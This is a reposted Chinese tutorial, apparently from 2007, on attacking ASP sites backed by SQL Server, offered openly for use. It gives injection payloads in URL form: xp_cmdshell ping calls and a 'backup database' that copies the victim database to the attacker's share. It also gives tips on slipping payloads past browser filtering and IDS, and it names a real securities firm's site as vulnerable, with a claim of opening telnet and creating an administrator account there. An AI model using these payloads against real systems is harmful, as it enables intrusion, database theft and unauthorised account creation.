科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL数据库的一些攻击 (2)

SQL数据库的一些攻击 (2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

对于国内外的很多新闻,BBS和电子商务网站都采用ASP SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP SQL的攻击成功率 也比较高。

作者:eysw 来源:20CN网络安全小组 2007年9月11日

关键字: 攻击 SQL Server SQL Server 各版本 数据库

  • 评论
  • 分享微博
  • 分享邮件

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限 但是我们不知道库名该怎么?看看db_name()函数吧 打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了 以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';-- 呵呵.

他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧 同理这个方法可以找到对方的SQL的IP 先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示 然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP' 如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大 一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位 置了 那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?

别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。 其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的 下次我们还会谈到如何骗过IDS执行ASP+SQL入侵

目前有些好的IDS已经开始监视xp_cmdshell这些关键字了 好吧,同志们下次见

所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了

window.location.herf=URL

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是 我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!

 

由于对方防火墙很严checkpoint数据报进出 都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P 顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章